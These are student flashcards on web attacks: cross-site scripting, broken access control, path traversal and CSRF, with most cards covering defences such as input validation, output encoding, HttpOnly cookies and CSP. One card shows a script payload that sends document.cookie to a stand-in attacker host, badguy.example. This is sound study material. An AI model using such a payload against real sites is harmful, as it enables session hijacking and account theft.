web attacks part 2 Flashcards
(31 cards)
what is XXS?
inject client - side code into web oages viewed by ther users
attackers trick web application to view malicious code
what are the goals of cross site scripting?
display images, open popups
session hijacking : stealing cookies
changes page contents
what is the underlying issues with xxs?
input/out[ut validation – never trust user inputs
what does xxs stand for
cross site scripting
what is stored xxs?
occurs when malicious code in injected in the server side storage, and then code is later showed to the users
e.g Comments on a blog, posts on Facebook etc
what is reflected xxs?
Injected malicious code not stored in server but immeaduately displayed on visited page.
describe session hijacking with xxs
1)attacker injects script on a server and waits for a victim
2)server passes a session cookies and the attackers script to a visitor
3)script runs the victim’s browser and passes session cookie to attacker
4)attacker passes the stolen cookie making server think he is the victim
what does this code do
<script> document.location.replace( "http://www.badguy.example/steal.php" \+ "?what=" + document.cookie) </script>
session hijacking xxs code
redirects victim’s browser to attackers site, passing cookie
might also pass currently visited web page
alternative to xxs?
Alternatively, do a request, load an image, etc
what are some methods of xxs protection?
validate user input: only allowing a strict subset of inputs (e.g alphanumeric characters )
output filtering
use HTTP only cookies
Enable content security policy
what are the two different types of output filtering in xxs protections
plain output : HTML encoding
marked up output: encoding + domain specific language
describe plain output filtering in xxs protections
html encoding:
store data values need to be encoded to represent in HTML
describe marked up output filtering in xxs protections
encoding + domain specific language(DSL)
use dedicated syntax and covert into a safe subset of html
describe validate user input in xxs protections
only allows a strict subset of characters
(e.g alphanumeric characters )
why might validating user input be tricky
have to understand data flow of app
e.g (quoting,encoding,pass to/from functions , databases etc)
describe using HTTP only cookies in xxs protections
cookies with http only flag not accessible though javascript , preventing theft through document.cookies
describe using Enable Content Security Policy (CSP) in xxs protections
A strict CSP can prevent inline scripts and can limit which domains can be requested.
broken access control: object references: path traversal
what does this do?
https://myblog.org/index.php?entry=2025-03-17.html
The file index.php :
* reads a plain HTML file (2025-03-17.html )
* wraps it with navigation links, site style
broken access control: object references: path traversal
what does this do?
- remote users can potentially visit any file on the system!
- mistake motivates defence-in-depth:
- http server should not serve just any file
- use internal web server config (separate apps)
- and external OS config (e.g. nobody user, chroot)
- use of allow-lists (filter inputs against known, safe options)
- ⚠ A well-written app should only allow access to its own resources.
16
what are the solutions to broken access control: object references
revalidate
check authorisation again
obvious solution but doubles effort
add a data indirection:
session specific server side array of account numbers
use databases/hashtables
what is BAC object references: Too much information
passign potentially unesscessary information to client and expecting it unmodified.
how to make sure information is protected in BAC object references
MAC constructed with server side secret key to make sure info stays unmodified
BAC object references
how to prevent unauthorised users from visiting a site even when you hid the link
Advice:
* Manage authorisation in a separate module
* have a single route through code
* can trace to make sure authorisation happens
* Make authorisation checks for each function
* Use deny-by-default policy
Describe BAC : CRSF
Exploits browser’s trust relationship with a website (e.g., an existing login)
* local intranet website (home router admin, …)
* banking or email site user is logged into
* browser is authorised to connect here
Attacker triggers malicious action
get user to open malicious link
browser undertakes action on target site on behalf of authorised user